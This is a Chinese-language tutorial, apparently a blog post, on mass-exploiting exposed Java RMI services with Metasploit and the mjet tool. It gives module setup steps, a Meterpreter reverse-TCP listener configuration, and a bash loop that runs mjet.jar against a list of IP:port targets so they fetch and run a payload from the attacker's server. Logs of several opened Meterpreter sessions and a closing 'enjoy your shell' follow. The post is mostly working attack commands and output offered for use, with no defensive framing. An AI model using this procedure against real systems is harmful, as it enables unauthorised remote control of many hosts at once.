利用MSF批量打RMI漏洞

声明：不会Java。

参考：https://www.secpulse.com/archives/6203.html

下载mjet，https://github.com/mogwaisec/mjet

按照说明中的步骤：

• Copy the "MBean" folder to "data/java/metasploit"
• Copy java_mlet_server.rb to "modules/exploits/multi/misc/"

这里有个坑，metasploit默认目录里没有data/java/这个目录，需要手动创建一下，而且里面缺少Payload.class这个类，find命令找一下，因为每个人的这个class位置都可能不一样。然后把它拷进/data/java/metasploit/下

启动msf监听，选择刚才导入的那个模块

 msf > use exploit/multi/misc/java_mlet_server
 msf exploit(multi/misc/java_mlet_server) > set payload java/meterpreter/reverse_tcp
 payload => java/meterpreter/reverse_tcp
 msf exploit(multi/misc/java_mlet_server) > set LHOST 1.1.1.1
 LHOST => 1.1.1.1
 msf exploit(multi/misc/java_mlet_server) > set LPORT
 LPORT =>
 msf exploit(multi/misc/java_mlet_server) > set URIPATH /bobac/
 URIPATH => /bobac/
 msf exploit(multi/misc/java_mlet_server) > run
 [*] Started reverse TCP handler on 1.1.1.1:
 [*] Using URL: http://0.0.0.0:8080/bobac/
 [*] Local IP: http://1.1.1.1:8080/bobac/
 [*] Server started.

然后用下载的mjet.jar让远程主机主动连接我的服务器，批量利用可以写一个shell脚本。

 #!/bin/bash
 function getip(){
 while read i
 do
     timeout 2s java -jar mjet.jar -u http://1.1.1.1:8080/bobac/ -t `echo $i|awk '{print $1}'` -p `echo $i|awk '{print $2}'`
 done < rmi-ip.txt
 }
 getip

rmi-ip.txt是存放的ip与端口文件，直接执行。msf监听到并且直接获取会话session。

 msf exploit(multi/misc/java_mlet_server) >
 [*] x.x.x.x java_mlet_server - handling request for /bobac/
 [*] Sending stage ( bytes) to x.x.x.x
 [*] Meterpreter session  opened (x.x.x.x: -> x.x.x.x:) at -- :: +
 [*] x.x.x.x java_mlet_server - handling request for /bobac/
 [*] Sending stage ( bytes) to x.x.x.x
 [*] Meterpreter session  opened (x.x.x.x: -> x.x.x.x:) at -- :: +
 [*] x.x.x.x java_mlet_server - handling request for /bobac/
 [*] Sending stage ( bytes) to x.x.x.x
 [*] Meterpreter session  opened (x.x.x.x: -> x.x.x.x:) at -- :: +
 [*] x.x.x.x java_mlet_server - handling request for /bobac/
 [*] x.x.x.x java_mlet_server - handling request for /bobac/
 [*] x.x.x.x java_mlet_server - handling request for /bobac/nhUsuayJ.jar
 [*] Sending stage ( bytes) to x.x.x.x
 [*] Meterpreter session  opened (x.x.x.x: -> x.x.x.x:) at -- :: +

6个，sessions -i 找一个进去

--enjoy your shell :)